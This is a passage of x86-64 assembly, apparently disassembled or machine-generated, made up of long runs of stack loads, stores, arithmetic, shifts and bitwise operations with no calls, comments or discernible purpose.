mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
lea rax, [rsp + 0x1564]
mov qword [0x1402c9110], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0xbdc0], rax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
shl eax, cl
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xbd50]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbce0], rax
mov eax, dword [rsp + 0x6988]
mov dword [rsp + 0x69b0], eax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xbbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc50]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
movzx eax, word [rsp + 0x1550]
mov word [rsp + 0x1578], ax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc68]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1568]
and eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0xbcb0]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xbd78]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd50]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [0x1402c74a2], al
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1560], ax
movzx eax, word [rsp + 0x154c]
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6918]
movzx ecx, al
mov eax, dword [rsp + 0x69b4]
shl eax, cl
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
lea rax, [rsp + 0x68e4]
mov qword [rsp + 0xbdd8], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xba70], rax
lea rax, [rsp + 0x57]
mov qword [0x1402c9118], rax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xbde0], rax
movzx eax, word [rsp + 0x1574]
movzx ecx, word [rsp + 0x152c]
sar eax, cl
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
or eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69a0], eax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov qword [rsp + 0xbdf0], rax
movzx eax, word [0x1402c74a0]
movzx ecx, word [rsp + 0x1564]
add eax, ecx
mov rcx, qword [0x1402c9110]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56], al
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x63]
mov qword [rsp + 0xbdf8], rax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1530], ax
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x69b8], eax
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [rsp + 0x6994]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xbda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xbe00], rax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
movzx eax, word [rsp + 0x152c]
mov word [0x1402c9120], ax
mov rax, qword [rsp + 0xbc70]
movzx eax, byte [rax]
mov byte [rsp + 0x66], al
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
lea rax, [rsp + 0xbd00]
mov qword [rsp + 0xbe08], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbc00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x68f4], eax
lea rax, [rsp + 0x69a8]
mov qword [rsp + 0xbe10], rax
mov rax, qword [rsp + 0xbd88]
movzx ecx, al
mov rax, qword [rsp + 0xbc50]
sar rax, cl
mov qword [rsp + 0xb9d8], rax
movzx eax, word [rsp + 0x1538]
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0xbc68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
or eax, ecx
mov word [0x1402c90c0], ax
movzx eax, word [rsp + 0x1574]
movzx ecx, word [0x1402c74a0]
shl eax, cl
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd00], rax
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0xbe18], rax
mov rax, qword [rsp + 0xbd88]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x699c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6988], eax
lea rax, [rsp + 0x56]
mov qword [rsp + 0xbe20], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [0x1402c90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbc8]
movzx eax, word [rax]
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov qword [rsp + 0xbe28], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x695c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x1580]
mov qword [0x1402c9128], rax
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x155c], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd70]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbd08]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov word [rsp + 0x158c], ax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xbcb0]
mov qword [rsp + 0xbe38], rax
mov eax, dword [rsp + 0x69ac]
movzx ecx, al
mov eax, dword [rsp + 0x68f4]
shr eax, cl
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xbd38]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6998], eax
lea rax, [rsp + 0x157c]
mov qword [0x1402c9130], rax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov byte [rsp + 0x69], al
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb80]
movzx eax, byte [rax]
mov byte [rsp + 0x6a], al
movsx eax, word [rsp + 0x157c]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xbd00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb08], rax
lea rax, [rsp + 0x68f4]
mov qword [rsp + 0xbe40], rax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9110]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x158c]
add eax, ecx
mov word [rsp + 0x1560], ax
mov rax, qword [rsp + 0xba68]
movzx eax, word [rax]
mov word [rsp + 0x1590], ax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [0x1402c74a2]
and eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x695c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
lea rax, [rsp + 0xba08]
mov qword [rsp + 0xbe50], rax
mov rax, qword [rsp + 0xbe18]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbbc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
xor eax, ecx
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
movsx eax, byte [0x1402c749f]
movsx ecx, byte [rsp + 0x6a]
sar eax, cl
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movzx eax, word [rsp + 0x1554]
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
shl eax, cl
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
lea rax, [0x1402c748f]
mov qword [rsp + 0xbe58], rax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x69ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69a8], eax
lea rax, [rsp + 0xbce8]
mov qword [rsp + 0xbe60], rax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xbce0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [0x1402c74a3], al
mov rax, qword [rsp + 0xba90]
movzx eax, word [rax]
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1578]
sub eax, ecx
mov word [rsp + 0x1574], ax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [rsp + 0xbe50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba70], rax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0xbe68], rax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbe38]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x69a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbde0]
movsx eax, word [rax]
movsx ecx, word [0x1402c749c]
and eax, ecx
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
lea rax, [rsp + 0x5b]
mov qword [rsp + 0xbe70], rax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xbd70]
movzx eax, byte [rax]
mov byte [rsp + 0x6c], al
movsx eax, word [0x1402c90d8]
movsx ecx, word [rsp + 0x1548]
or eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
mov qword [rsp + 0xbe78], rax
mov eax, dword [rsp + 0x6980]
mov rcx, qword [rsp + 0xbc00]
mov qword [rsp + 0xbe80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe80]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov dword [rsp + 0x69c0], eax
lea rax, [rsp + 0x1570]
mov qword [0x1402c9138], rax
movsx eax, byte [0x1402c749f]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov word [rsp + 0x159c], ax
movzx eax, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0x1568]
movsx ecx, word [rsp + 0x154c]
and eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xbe88], rax
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd50]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x69c4], eax
mov eax, dword [rsp + 0x6998]
mov ecx, dword [rsp + 0x69a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68ec], eax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [0x1402c74a4], al
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0x1588]
mov word [rsp + 0x15a0], ax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
lea rax, [rsp + 0x1564]
mov qword [rsp + 0xbe90], rax
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xbe78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe28], rax
mov eax, dword [rsp + 0x69b8]
mov dword [rsp + 0x69c8], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbd50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x69a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1540]
mov word [rsp + 0x15a4], ax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402c74a3], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x1588]
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x68fc]
movzx ecx, al
mov eax, dword [rsp + 0x6980]
shr eax, cl
mov dword [rsp + 0x6988], eax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov dword [rsp + 0x69cc], eax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xbe30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xbe78]
mov qword [rsp + 0xbe98], rax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1590]
add eax, ecx
mov word [0x1402c90c0], ax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
and eax, ecx
mov rcx, qword [rsp + 0xbdf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
mov byte [rsp + 0x6d], al
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x152c], ax
lea rax, [rsp + 0xbe38]
mov qword [rsp + 0xbea0], rax
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdf0]
mov rcx, qword [rsp + 0xbb68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68f4]
mov dword [rsp + 0x69d0], eax
movzx eax, byte [0x1402c90a4]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
movzx eax, word [rsp + 0x155c]
mov word [0x1402c9140], ax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov word [rsp + 0x15ac], ax
movsx eax, word [rsp + 0x157c]
movsx ecx, word [0x1402c749c]
add eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd88]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbcf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbd78]
mov qword [rsp + 0xbeb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbeb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [rsp + 0x15b0], ax
lea rax, [rsp + 0x6d]
mov qword [0x1402c9148], rax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x6c]
sar eax, cl
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1550]
and eax, ecx
mov word [rsp + 0x15a4], ax
movzx eax, word [rsp + 0x1548]
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15b0]
add eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0xbeb8]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0xbd68]
mov ecx, dword [rsp + 0x6918]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69c8], eax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbd78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69a0], eax
mov rax, qword [rsp + 0xbea0]
mov rax, qword [rax]
mov qword [rsp + 0xbec8], rax
movsx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74a5], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x154c]
mov word [rsp + 0x15b8], ax
mov rax, qword [0x1402c90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x63], al
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x695c]
mov dword [rsp + 0x69d4], eax
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x6990]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xbed0], rax
mov rax, qword [rsp + 0xbec8]
mov rcx, qword [rsp + 0xbe28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe88], rax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c90c0], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
cdq
mov ecx, 0x1ce
idiv ecx
mov rcx, qword [rsp + 0xbc10]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x154c], ax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbe18]
mov qword [rsp + 0xbee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbee0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rsp + 0xbab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd40], rax
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x155c]
add eax, ecx
mov rcx, qword [0x1402c9130]
mov word [rcx], ax
lea rax, [rsp + 0x158c]
mov qword [rsp + 0xbef0], rax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
lea rax, [rsp + 0x66]
mov qword [rsp + 0xbef8], rax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xbbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6998], eax
mov eax, dword [rsp + 0x69d4]
mov dword [rsp + 0x69d8], eax
mov rax, qword [rsp + 0xbe50]
mov rcx, qword [rsp + 0xbdf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd00], rax
lea rax, [rsp + 0xbd88]
mov qword [rsp + 0xbf00], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
and eax, ecx
mov byte [0x1402c74a6], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x51], al
lea rax, [0x1402c9120]
mov qword [rsp + 0xbf08], rax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0xbd10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x5e], al
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xbf10], rax
mov rax, qword [rsp + 0xbcb0]
mov rcx, qword [rsp + 0xb9d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
lea rax, [rsp + 0x696c]
mov qword [rsp + 0xbf18], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69b0]
shr eax, cl
